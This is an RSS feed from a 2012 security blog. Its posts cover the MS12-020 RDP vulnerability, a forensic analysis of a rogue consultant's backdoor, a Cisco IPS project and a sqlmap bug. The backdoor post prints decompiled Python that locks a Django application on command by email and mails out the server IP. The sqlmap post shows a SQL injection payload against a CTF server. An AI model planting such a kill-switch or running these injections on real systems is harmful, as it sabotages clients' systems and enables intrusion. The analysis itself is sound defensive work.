<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Dojo &#187; &#187; Security</title>
	<atom:link href="http://security-dojo.com/categorias/security-bits/feed/" rel="self" type="application/rss+xml" />
	<link>http://security-dojo.com</link>
	<description>Sending your logs to  /dev/null since 1976</description>
	<lastBuildDate>Mon, 26 Mar 2012 20:55:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>ms12-020 saga: PoC exploit on pastebin and online rdp vulnerability scan: rdpcheck.com</title>
		<link>http://security-dojo.com/programming-bits/ms12-020-saga-poc-exploit-on-pastebin-and-online-rdp-vulnerability-scan-rdpcheck-com/</link>
		<comments>http://security-dojo.com/programming-bits/ms12-020-saga-poc-exploit-on-pastebin-and-online-rdp-vulnerability-scan-rdpcheck-com/#comments</comments>
		<pubDate>Sat, 24 Mar 2012 03:57:21 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[ms12-020]]></category>
		<category><![CDATA[rdp]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=179</guid>
		<description><![CDATA[So then again, rolling and checking istherdpexploitoutyet.com found an interesting thing; they link to a PoC on pastebin, and apparently it messes up your box, I wonder how many people lost boxes on that one, but they link to another cool site rdpcheck.com they scan you back to check if you are vulnerable to RDP [...]]]></description>
			<content:encoded><![CDATA[<p>So then again, rolling and checking <a href="http://istherdpexploitoutyet.com/">istherdpexploitoutyet.com</a> found an interesting thing; they link to a PoC on pastebin, and apparently it messes up your box, I wonder how many people lost boxes on that one, but they link to another cool site <a href="http://rdpcheck.com/">rdpcheck.com</a> they scan you back to check if you are vulnerable to RDP exploit, they even check you don&#8217;t use disposable addresses which is very interesting and cool.</p>
<p>So I put my gmail address and click test, I don&#8217;t have any RDP at my home address but I wanted to see how they do it with closed ports, then I&#8217;ll setup an exploitable RDP and let them scan me :) and update this post! </p>
<p>After you click on test you will receive something on the email like this (IP Address removed):</p>
<blockquote><p>
IP address tested: XXX.XXX.XXX.X<br />
Time of test: Sat, 24 Mar 2012 14:50:38 EST<br />
Result: RDP Port Filtered (Inconclusive) </p>
<p>Hmmm&#8230; We were unable to determine if we could access Remote Desktop Protocol from the Internet on it&#8217;s standard port. When we tested there was no response. This generally means that there is a firewall configured to be invisible &#8211; which is a good thing &#8211; but it can also be caused by network issues, ISP filtering, etc.<br />
Because of this we cannot make a confident assessment of your exposure. </p>
<p>To err on the safe side you should assume that this means that your network is potentially vulnerable to exploitation of the MS12-020 RDP vulnerability from the Internet and is likely to contain unpatched systems.<br />
Here&#8217;s a few things you can do&#8230;</p>
<p>Patch ALL of your Windows systems with the MS12-020 patch from Microsoft. To do this simply run Windows Update until it no longer suggests updates, or you can manually download Microsoft security bulletin and patches from Microsoft&#8217;s advisory <a href="http://technet.microsoft.com/en-us/security/bulletin/ms12-020">here</a>.</p>
<p>Check that you&#8217;ve patched ALL of your systems. Not just the Internet facing ones. When this vulnerability gets turned into an self-propagating RDP worm you&#8217;ll thank us for this advice.</p>
<p>Close off port Remote Desktop Services (RDP) to the Internet. RDP runs on TCP port 3389. If this means nothing to you, ask your I.T. guy.</p>
<p>Disable RDP on machines that don&#8217;t need it. RDP is fantastically useful, but if you don&#8217;t need it, turn it off.</p>
<p>Give your I.T. guy a smack on the wrist and tell him/her to stop running Remote Desktop Protocol on the Internet. This is a risky practice, superbug or no superbug, because it gives full access to a machine. Use a VPN for remote access instead.</p>
<p>From Microsoft: &#8220;Consider how you might harden your environment against unauthenticated, attacker-initiated RDP connections.&#8221; Some of the tips here are a part of this general advice. If you need more help with this get in touch via our contact form.</p>
<p>Read, understand and action the advice from Microsoft <a href="http://technet.microsoft.com/en-us/security/bulletin/ms12-020">here</a> and <a href="http://blogs.technet.com/b/srd/archive/2012/03/13/cve-2012-0002-a-closer-look-at-ms12-020-s-critical-issue.aspx">here</a>. If none of it makes sense to you, talk to your I.T. guy or get in touch via our contact form.
</p></blockquote>
<p>This is pretty cool and useful at least for the average joe :)</p>
<p>I still wonder &#8230; IS THE RDP EXPLOIT OUT YET!?!?!?!? </p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/ms12-020-saga-poc-exploit-on-pastebin-and-online-rdp-vulnerability-scan-rdpcheck-com/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[Your worst enemy: The rogue consultant/admin] py_util.pyc LOCK/UNLOCK backdoor over email</title>
		<link>http://security-dojo.com/programming-bits/your-worst-enemy-the-rogue-consultantadmin-py_util-pyc-lockunlock-backdoor-over-email/</link>
		<comments>http://security-dojo.com/programming-bits/your-worst-enemy-the-rogue-consultantadmin-py_util-pyc-lockunlock-backdoor-over-email/#comments</comments>
		<pubDate>Sat, 24 Mar 2012 01:58:05 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[Programming]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Tu Peor Enemigo]]></category>
		<category><![CDATA[backdoor]]></category>
		<category><![CDATA[django]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[ethics]]></category>
		<category><![CDATA[hacker]]></category>
		<category><![CDATA[python]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=169</guid>
		<description><![CDATA[I recently had to actually do a fast forensic job for a friend, he asked me some help as he was taking over some business which were &#8220;abandoned&#8221; by an &#8220;open source consultant&#8221; which is to say pretty much installs everything on linux and does half coding in this case. The problem raised when as [...]]]></description>
			<content:encoded><![CDATA[<p>I recently had to actually do a fast forensic job for a friend, he asked me some help as he was taking over some business which were &#8220;abandoned&#8221; by an &#8220;open source consultant&#8221; which is to say pretty much installs everything on linux and does half coding in this case.</p>
<p>The problem raised when as soon as they took over the network within the hour a critical system for the business stopped working, this was more than suspicious as before in another business that was also admin by this person before had some files erased and configurations lost when it was transitioned to another admin because of lack of administration and ethics on the admin part.</p>
<p>First I tried to decompile the python files form the Django server, this was because obviously all the servers where blocked but for port 80. My friend innocently forgot to block all access to the internet as he thought that was not that hardcore important (#FAIL) and he didn&#8217;t really think this person (who know actually is consulting for a major bank in Mexico) would backdoor and do this type of stuff.</p>
<p>The first thing was to run it on strings to figure out what is there (credentials and paths removed for security reasons):</p>
<blockquote><p>
fsckOSX:~ nahual$ strings py_util.pyc<br />
EmailMultiAlternatives(<br />
MIMEImage(<br />
datetimeN(<br />
Parsers<br />
fxxxxxxxxxxo@gmail.comt<br />
mxxxgyyczzt<br />
LOCKSYSTEMt<br />
UNLOCKSYSTEMt<br />
GETIPs$<br />
/home/xxxxxxx/svn/yyyyyyyy/.python.logc<br />
pop.gmail.comi<br />
Subjectt<br />
bloqueandot<br />
desbloqueandot8<br />
2baa224d0a3515912218fd88c1dd9d90d347c451c67811ac6240f4a1(<br />
poplibt<br />
POP3_SSLt<br />
usert<br />
pass_t<br />
passwdt<br />
Exceptiont<br />
lent<br />
listt<br />
ranget<br />
retrt<br />
joinR<br />
parsestrt<br />
LOCKt<br />
opent<br />
file_logt<br />
writet<br />
closet<br />
UNLOCKR<br />
check_ipt<br />
quit(<br />
errt<br />
numerot<br />
responset<br />
headerLinest<br />
bytest<br />
mensajet<br />
emailt<br />
subjectt<br />
/home/xxxxxxx/svn/yyyyyyy/../yyyyyyy/py_util.pyt<br />
check_locker<br />
setup_environ(<br />
BeautifulSoups<br />
hxxxxxxx3@gmail.comR</p>
<p>http://www.cualesmiip.comt</p>
<p>divt<br />
miipt<br />
IP del servidort<br />
from_emails<br />
text/html(<br />
urllib2t<br />
django.core.managementR/<br />
xml.dom.minidomR0<br />
settingst<br />
urlopent<br />
readt<br />
findt<br />
findAllR<br />
DEFAULT_FROM_EMAILt<br />
attach_alternativet<br />
send(<br />
xmlR0<br />
listmailt<br />
contentt<br />
feedR&#038;<br />
html_contentR,<br />
msg(<br />
/home/xxxxxxx/svn/yyyyyy/../yyyyyy/py_util.pyR<br />
__main__(<br />
django.core.mailR<br />
email.MIMEImageR<br />
smtplibR<br />
email.ParserR<br />
__name__(<br />
/home/xxxxxxxx/svn/yyyyyy/../yyyyy/py_util.pyt<br />
<module><br />
fsckOSX:~ nahual$
</p></blockquote>
<p>py_util.pyc wouldn&#8217;t fastly decompile, thus after putting it into IDA and other nice decompile this is what was found (credentials removed for security reasons):</p>
<p><code><br />
from django.core.mail import EmailMultiAlternatives<br />
from email.MIMEImage import MIMEImage<br />
from datetime import datetime<br />
import smtplib<br />
import poplib<br />
from email.Parser import Parser</p>
<p>user = 'xxxxxx'<br />
passwd = 'xxxxxxxx'<br />
LOCK = 'LOCKSYSTEM'<br />
UNLOCK = 'UNLOCKSYSTEM'<br />
GETIP = 'GETIP'<br />
file_log = '/home/xxxxx/svn/yyyyyy/.python.log'</p>
<p>def check_locker():<br />
    try:<br />
        m = poplib.POP3_SSL('pop.gmail.com', 995)<br />
        m.user(user)<br />
        m.pass_(passwd)<br />
    except Exception, err:<br />
        print err<br />
    else:<br />
        numero = len(m.list()[1])<br />
        for i in range(numero):<br />
            (response, headerLines, bytes) = m.retr(i + 1)<br />
            mensaje = '\n'.join(headerLines)<br />
            p = Parser()<br />
            email = p.parsestr(mensaje)<br />
            subject = email['Subject']<br />
            if (subject == LOCK):<br />
                print 'bloqueando'<br />
                f = open(file_log, 'w')<br />
                f.write('')<br />
                f.close()<br />
            elif (subject == UNLOCK):<br />
                print 'desbloqueando'<br />
                f = open(file_log, 'w')<br />
                f.write('xxxxxxxxxxxxx')<br />
                f.close()<br />
            elif (subject == GETIP):<br />
                check_ip()<br />
        m.quit()</p>
<p>def check_ip():<br />
    import urllib2<br />
    from django.core.management import setup_environ<br />
    import xml.dom.minidom<br />
    from BeautifulSoup import BeautifulSoup<br />
    import settings<br />
    setup_environ(settings)<br />
    listmail = ['xxxxxxxx@gmail.com']<br />
    content = ''<br />
    feed = urllib2.urlopen('http://www.google.com')<br />
    response = BeautifulSoup(feed.read())<br />
    html_content = response.find('div', {'id': 'miip'}).findAll('b')[0]<br />
    subject = 'IP del servidor'<br />
    msg = EmailMultiAlternatives(subject, content, to=listmail, from_email=settings.DEFAULT_FROM_EMAIL)<br />
    msg.attach_alternative(html_content, 'text/html')<br />
    msg.send()<br />
if (__name__ == '__main__'):<br />
    check_ip()<br />
</code></p>
<p>As you can see the backdoor is pretty small and &#8220;efficient&#8221;, it checks a gmail account, if an email to that account is sent with the LOCKSYSTEM it will automatically shutdown the application, and you can of course unlock the system with another email.</p>
<p>This might be coded because they thought maybe the client wouldn&#8217;t pay them? why would he code something like this without the client consent? no documentation was delivered from the code, and as soon as the admin/developer was let go, the system was shutdown within the hour, sounds to me more like a blackmail function than a current admin function as it only turns off the system, no backups anything.</p>
<p>This makes me wonder why this would be created? or executed? I thought about writing a fast and ugly rule to make sure if anything happened like this again at least the snorts would be alerted and told my friend to lock down the firewall rules, but this lack of ethics is overwhelming, I wonder what the bank would think of him being used to backdoor stuff to keep a foot in the door? jeeeeezzzzz</p>
<p>Snort rule would not really work as it&#8217;s doing pop3 over SSL, but then blocking port 993 should lock him out, still &#8230; why people do this? don&#8217;t they understand this lack of ethics is preposterous? </p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/programming-bits/your-worst-enemy-the-rogue-consultantadmin-py_util-pyc-lockunlock-backdoor-over-email/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>MS12-020, The saga continues: exploit code published for the RDP chinese worm leaked from Microsoft?</title>
		<link>http://security-dojo.com/security-bits/ms12-020-the-saga-continues-exploit-code-published-for-the-rdp-chinese-worm-leaked-from-microsoft/</link>
		<comments>http://security-dojo.com/security-bits/ms12-020-the-saga-continues-exploit-code-published-for-the-rdp-chinese-worm-leaked-from-microsoft/#comments</comments>
		<pubDate>Fri, 16 Mar 2012 18:05:55 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[leak]]></category>
		<category><![CDATA[ms12-020]]></category>
		<category><![CDATA[PoC]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=155</guid>
		<description><![CDATA[I was sent this link which is hilarious: http://istherdpexploitoutyet.com/ Has some really short information on the exploit and PoC and obviously who bought it (yes kids ZDI bought this one, gave it to Microsoft and then one of them managed to leak it) but apparently the original exploit code was leaked (complete article HERE) From [...]]]></description>
			<content:encoded><![CDATA[<p>I was sent this link which is hilarious: http://istherdpexploitoutyet.com/</p>
<p>Has some really short information on the exploit and PoC and obviously who bought it (yes kids ZDI bought this one, gave it to Microsoft and then one of them managed to leak it) but apparently the original exploit code was leaked (complete article <a href="http://www.zdnet.com/blog/security/exploit-code-published-for-rdp-worm-hole-does-microsoft-have-a-leak/10860?tag=content;siu-container" target="_blank">HERE</a>)</p>
<p>From the article:</p>
<p>&#8220;Chinese hackers have released proof-of-concept code that provides a roadmap to exploit a dangerous RDP (remote desktop protocol) vulnerability that was patched by Microsoft earlier this week.</p>
<p>The publication of the code on a Chinese language forum heightens the urgency to apply Microsoft’s MS12-020 update, which addresses a remote, pre-authentication, network-accessible code execution vulnerability in Microsoft’s implementation of the RDP protocol.&#8221;</p>
<p>Well I&#8217;m not fluent on Chinese at all, BUT when I went into the website it clearly says on the top:</p>
<p><a href="http://security-dojo.com/wp-content/uploads/2012/03/Screen-shot-2012-03-16-at-10.06.44-AM.png"><img src="http://security-dojo.com/wp-content/uploads/2012/03/Screen-shot-2012-03-16-at-10.06.44-AM.png" alt="" title="Chinese blog title" width="1017" height="176" class="aligncenter size-full wp-image-156" /></a></p>
<p>&#8220;0day discount<br />
This BLOG from time to time the market of 0day of exp&#8221;</p>
<p>Errr I&#8217;m sorry but that does not tell ANYONE to go and patch as the article says, they actually even go further on saying: &#8220;Thanks to 360 friends to provide the EXP.&#8221; Well apparently 360 guys managed to grab that exploit which apparently has a special signature from the reseracher Luigi Auriemma (@luigi_auriemma)</p>
<p><a href="http://security-dojo.com/wp-content/uploads/2012/03/poc_leak.png"><img src="http://security-dojo.com/wp-content/uploads/2012/03/poc_leak.png" alt="" title="ms12-020 PoC Leak" width="1272" height="532" class="aligncenter size-full wp-image-159" /></a></p>
<p>That is a good practice and I hope it starts out again, watermarking the PoCs so you can see where the leak is, the interesting part is &#8230; Who is owned by the chinese? ZDI? or Microsoft? if they leaked that, which others have been leaked?</p>
<p>This bug will end up showing more flaws of handling them and the leaking of it&#8217;s PoC than the bug itself!</p>
<p>UPDATE:</p>
<p>On this tweet (https://twitter.com/#!/luigi_auriemma/status/180646548395401216) Luigi Auriemma confirms it was Microsoft the leak.</p>
<p>Luigi Auriemma ‏ @luigi_auriemma<br />
in case isn&#8217;t clear yet: rdpclient.exe seems written by Microsoft using the original packet poc I sent to ZDI. MS is the source of the leak</p>
<p>His Advisory can be seen <a href="http://aluigi.org/adv/termdd_1-adv.txt" target="_blank">HERE</a></p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/security-bits/ms12-020-the-saga-continues-exploit-code-published-for-the-rdp-chinese-worm-leaked-from-microsoft/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>MS12-020 the new MS08-067?</title>
		<link>http://security-dojo.com/security-bits/ms12-020-the-new-ms08-087/</link>
		<comments>http://security-dojo.com/security-bits/ms12-020-the-new-ms08-087/#comments</comments>
		<pubDate>Tue, 13 Mar 2012 20:02:00 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Tu Peor Enemigo]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[ms12-020]]></category>
		<category><![CDATA[PoC]]></category>
		<category><![CDATA[vulnerability]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=150</guid>
		<description><![CDATA[From Microsoft&#8217;s support website: MS12-020: Vulnerabilities in Remote Desktop could allow remote code execution: March 13, 2012 The interesting is that on this link (http://support.microsoft.com/kb/2671387) it says on the more information tab: &#8220;2667402 MS12-020: Description of the security update for Terminal Server Denial of Service Vulnerability: March 13, 2012&#8243; But then on this link (http://blogs.technet.com/b/msrc/archive/2012/03/13/strength-flexibility-and-the-march-2012-security-bulletins.aspx) [...]]]></description>
			<content:encoded><![CDATA[<p>From Microsoft&#8217;s support website:</p>
<p>MS12-020: Vulnerabilities in Remote Desktop could allow remote code execution: March 13, 2012</p>
<p>The interesting is that on this link (http://support.microsoft.com/kb/2671387) it says on the more information tab:</p>
<p>&#8220;2667402  MS12-020: Description of the security update for Terminal Server Denial of Service Vulnerability: March 13, 2012&#8243;</p>
<p>But then on this link (http://blogs.technet.com/b/msrc/archive/2012/03/13/strength-flexibility-and-the-march-2012-security-bulletins.aspx) they actually talk about a critical one, which means it&#8217;s exploitable, which has turned a lot of heads and wonder if this bug will end up being the new MS08-087 due to longevity on it (God knows finding that one will render Enterprise Admin or Domain Admin too quick most of the times anyway)</p>
<p>Let&#8217;s see how fast the guys at metasploit project (www.metasploit.com) will come up with an exploit for it!</p>
<p>(NOTE: Thank you so much flacman for catching the typo .. sorry!!!!)</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/security-bits/ms12-020-the-new-ms08-087/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>AlienVault OSSIM on Cisco 4255 IPS (part 1)</title>
		<link>http://security-dojo.com/security-bits/alienvault-ossim-on-cisco-4255-ips-part-1/</link>
		<comments>http://security-dojo.com/security-bits/alienvault-ossim-on-cisco-4255-ips-part-1/#comments</comments>
		<pubDate>Thu, 08 Mar 2012 16:53:47 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[AlienVault]]></category>
		<category><![CDATA[Cisco 4255]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[OSSIM]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=129</guid>
		<description><![CDATA[For my previous job I designed the defense infrastructure, this was an interesting challenge specially since this is a fast and complex environment (SaaS environment) and as usual ever changing and growing, one of the restrictions was that we wanted to reuse end of life CISCO 4255 IPS that we had in there and wanted [...]]]></description>
			<content:encoded><![CDATA[<p>For my previous job I designed the defense infrastructure, this was an interesting challenge specially since this is a fast and complex environment (SaaS environment) and as usual ever changing and growing, one of the restrictions was that we wanted to reuse end of life CISCO 4255 IPS that we had in there and wanted to be able to get them out.</p>
<p>So first things first, getting the Cisco IPS 4255 unracked and get them to the office? NO, ssh into them and try to get the then SOC Monitor Eng to try to do it, as soon as I got into the &#8220;maintenance&#8221; shell realized it&#8217;s an old 2.4.X modified linux with a very (VERY) small disc space of 512 Megs, loaded as read-only with bigmem filesystem to keep the logs.</p>
<p>So first it was to deploy a chrooted image of a linux systems, this has a small challenge, deboostrapped a really old image (that took a bit of tweaking since everything was so old on that box) tarball it and then swear a bit as gcc, glibc, etc was not on the first image and redo the image, this systems have no internet connection for security purposes so it wasn&#8217;t a fast apt-get install with old archive repositories.</p>
<p>Then it was to compile snort rules, but &#8230; ended up with a very old snort, compiled barnyard and run like that for a week as a test (it wasn&#8217;t my project anyway I was just helping the SOC)</p>
<p>First problem:</p>
<p>- Reboot, your chroot system was gone. Why? easy the chroot had to be run within the bigmem partition, which for some weird reason wouldn&#8217;t backup our directory so it would wipe it out and put old logs in there (I presume it was a license thing or a signature stuff I wasn&#8217;t as interested to make it work)</p>
<p>The demo worked and as the SOC engineer pretty much stood up, grabbed his stuff and left without notice all the sudden .. VOILA! I got the SOC.</p>
<p>First things first and that was to mod OSSIM, which is an entirely different post altogether into an office server and verify that it works and it was what we were looking for.</p>
<p>Then, voila the CISCO IPS were unracked and sent to my office, where I could open them up, facepalm and try to make them work.</p>
<p>So what is on the CISCO IPS 4255? </p>
<p>Short answer: a VERY VERY old 2.4 kernel linux, tricked out and with some stuff, I think I made an image of the 512 MB OS, but I&#8217;m sure CISCO wouldn&#8217;t be happy if I just linked into it :)</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/security-bits/alienvault-ossim-on-cisco-4255-ips-part-1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SQLMap query problems</title>
		<link>http://security-dojo.com/security-bits/sqlmap-query-problems/</link>
		<comments>http://security-dojo.com/security-bits/sqlmap-query-problems/#comments</comments>
		<pubDate>Tue, 27 Sep 2011 15:22:00 +0000</pubDate>
		<dc:creator>Enrique Alfonso Sanchez Montellano</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Enrique Alfonso Sanchez Montellano]]></category>
		<category><![CDATA[SQLmap problems]]></category>

		<guid isPermaLink="false">http://security-dojo.com/?p=140</guid>
		<description><![CDATA[Well, I run with psymera a CTF game and we are constantly adding new VMWare machines and new tests just to keep on playing and not get bored. As part of a internal training where I work I started to create some videos on how to use SQLMap (I promise to upload here shortly in [...]]]></description>
			<content:encoded><![CDATA[<p>Well, I run with psymera a CTF game and we are constantly adding new VMWare machines and new tests just to keep on playing and not get bored. As part of a internal training where I work I started to create some videos on how to use SQLMap (I promise to upload here shortly in a big rant about it) so I started on what everyone does: update your version.</p>
<p>And something interesting happened, sqlmap enumeration broke (gorgeous) but it didn&#8217;t look much like it, it baffled me at first, so much that I had to do all by hand and asked psymera if he changed something, he said no.</p>
<p>So this is the info of the updated sqlmap version to that date:</p>
<p><code><br />
root@fsckOSX:/pentest/database/sqlmap# svn info<br />
Path: .<br />
URL: https://svn.sqlmap.org/sqlmap/trunk/sqlmap<br />
Repository Root: https://svn.sqlmap.org/sqlmap<br />
Repository UUID: 7eb2e9d7-d917-0410-b3c8-b11144ad09fb<br />
Revision: 4380<br />
Node Kind: directory<br />
Schedule: normal<br />
Last Changed Author: stamparm<br />
Last Changed Rev: 4380<br />
Last Changed Date: 2011-09-19 12:08:08 -0700 (Mon, 19 Sep 2011)<br />
</code></p>
<p>the SVN rev is 4380, latest at Sep 19th, here is the example of a run against the vulnerable web server with this revision.</p>
<p><span id="more-140"></span></p>
<p><code><br />
root@fuckOSX:/pentest/database/sqlmap# ./sqlmap.py -u "http://XXX.XXX.XXX.XXX/index.php?page=search" --data="search=aaa" --dbs</p>
<p>    sqlmap/1.0-dev (r4380) - automatic SQL injection and database takeover tool</p>
<p>http://www.sqlmap.org</p>
<p>[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program</p>
<p>[*] starting at 14:26:22</p>
<p>[14:26:22] [INFO] using '/pentest/database/sqlmap/output/XXX.XXX.XXX.XXX/session' as session file<br />
[14:26:22] [INFO] resuming injection data from session file<br />
[14:26:22] [INFO] resuming back-end DBMS 'mysql 4' from session file<br />
[14:26:22] [INFO] testing connection to the target url<br />
[14:26:23] [WARNING] there is a DBMS error found in the HTTP response bodywhich could interfere with the results of the tests<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: POST<br />
Parameter: search<br />
    Type: UNION query<br />
    Title: MySQL UNION query (NULL) - 1 column<br />
    Payload: search=aaa' UNION ALL SELECT CONCAT(CHAR(58,107,98,119,58),CHAR(82,88,103,80,76,100,72,90,73,105),CHAR(58,116,99,109,58))# AND 'MXBu'='MXBu<br />
---</p>
<p>[14:26:23] [INFO] the back-end DBMS is MySQL<br />
web server operating system: Linux CentOS 4<br />
web application technology: PHP 4.3.9, Apache 2.0.52<br />
back-end DBMS: MySQL 4<br />
[14:26:23] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database<br />
[14:26:24] [WARNING] if the problem persists with 'None' values please try to use hidden switch --no-cast (fixing problems with some collation issues)<br />
[14:26:24] [WARNING] the SQL query provided does not return any output<br />
available databases [1]:<br />
[*]</p>
<p>[14:26:24] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/XXX.XXX.XXX.XXX'</p>
<p>[*] shutting down at 14:26:24<br />
</code></p>
<p>So note the</p>
<p><strong><br />
available databases [1]:<br />
[*]<br />
</strong></p>
<p>This is interesting, it FINDS the database apparently but there is no name for it. This is the part that had me baffled (obviously the table enumeration, the column enumeration failed as it didn't know the database name) </p>
<p>So I started to update back, some versions (such as 4320) would even crash on run (this is normal as sqlmap is a very active project) so after a while i found the last revision that worked</p>
<p><code><br />
root@fuckOSX:/pentest/database/sqlmap# svn update -r 4319<br />
D    _sqlmap.py<br />
U    xml/payloads.xml<br />
U    plugins/dbms/sybase/enumeration.py<br />
U    plugins/generic/enumeration.py<br />
U    sqlmap.conf<br />
U    sqlmap.py<br />
U    doc/FAQ.pdf<br />
U    doc/README.html<br />
U    doc/README.pdf<br />
U    doc/THANKS<br />
U    doc/README.sgml<br />
U    lib/takeover/web.py<br />
U    lib/takeover/metasploit.py<br />
U    lib/utils/hash.py<br />
U    lib/controller/checks.py<br />
U    lib/controller/controller.py<br />
U    lib/core/common.py<br />
U    lib/core/threads.py<br />
U    lib/core/agent.py<br />
U    lib/core/settings.py<br />
U    lib/core/dump.py<br />
U    lib/core/defaults.py<br />
U    lib/core/option.py<br />
U    lib/core/optiondict.py<br />
U    lib/request/connect.py<br />
U    lib/request/comparison.py<br />
U    lib/request/basic.py<br />
U    lib/techniques/blind/inference.py<br />
U    lib/techniques/union/use.py<br />
U    lib/techniques/union/test.py<br />
U    lib/techniques/error/use.py<br />
U    lib/parse/cmdline.py<br />
D    tamper/unmagicquotes.py<br />
Updated to revision 4319.<br />
</code></p>
<p>Notate how lib/techniques/ had some changes, but changes from latest revision to this one are more than that, so it's a compromise for now.</p>
<p>So here is this revision against the same vulnerable web server.</p>
<p><code><br />
root@fsckOSX:/pentest/database/sqlmap# ./sqlmap.py -u "http://XXX.XXX.XXX.XXX/index.php?page=search" --data="search=aaa" --dbs</p>
<p>    sqlmap/1.0-dev (r4319) - automatic SQL injection and database takeover tool</p>
<p>http://www.sqlmap.org</p>
<p>[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program</p>
<p>[*] starting at 14:26:53</p>
<p>[14:26:53] [INFO] using '/pentest/database/sqlmap/output/XXX.XXX.XXX.XXX/session' as session file<br />
[14:26:53] [INFO] resuming injection data from session file<br />
[14:26:53] [INFO] resuming back-end DBMS 'mysql 4' from session file<br />
[14:26:53] [INFO] testing connection to the target url<br />
[14:26:54] [WARNING] there is a DBMS error found in the HTTP response bodywhich could interfere with the results of the tests<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: POST<br />
Parameter: search<br />
    Type: UNION query<br />
    Title: MySQL UNION query (NULL) - 1 to 10 columns<br />
    Payload: search=aaa' UNION ALL SELECT CONCAT(CHAR(58,107,98,119,58),CHAR(82,88,103,80,76,100,72,90,73,105),CHAR(58,116,99,109,58))# AND 'MXBu'='MXBu<br />
---</p>
<p>[14:26:54] [INFO] the back-end DBMS is MySQL<br />
web server operating system: Linux CentOS 4<br />
web application technology: PHP 4.3.9, Apache 2.0.52<br />
back-end DBMS: MySQL 4<br />
[14:26:54] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database<br />
[14:26:54] [WARNING] if the problem persists with 'None' values please try to use hidden switch --no-cast (fixing problems with some collation issues)<br />
[14:26:54] [WARNING] it was not possible to count the number of entries for the used SQL query. sqlmap will assume that it returns only one entry<br />
[14:26:56] [INFO] fetching number of databases<br />
[14:26:56] [ERROR] unable to retrieve the number of databases<br />
[14:26:56] [INFO] falling back to current database<br />
[14:26:56] [INFO] fetching current database<br />
[14:26:56] [INFO] read from file '/pentest/database/sqlmap/output/XXX.XXX.XXX.XXX/session': pwnetwork<br />
available databases [1]:<br />
[*] pwnetwork</p>
<p>[14:26:56] [INFO] Fetched data logged to text files under '/pentest/database/sqlmap/output/XXX.XXX.XXX.XXX'</p>
<p>[*] shutting down at 14:26:56</p>
<p>root@fsckOSX:/pentest/database/sqlmap#<br />
</code></p>
<p>Here it is!!!</p>
<p><strong><br />
available databases [1]:<br />
[*] pwnetwork<br />
</strong></p>
<p>Just my 2 cents, this has been verified by other people and I hope if someone uses the tool and suddenly scratches his head can rollback to the working revision while sqlmap developers fix this (You guys are awesome keep the excellent work!!!)</p>
]]></content:encoded>
			<wfw:commentRss>http://security-dojo.com/security-bits/sqlmap-query-problems/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>stop232patent.com</title>
		<link>http://security-dojo.com/programming-bits/stop232patent-com/</link>
		<comments>http://security-dojo.com/programming-bits/stop232patent-com/#comments</comments>
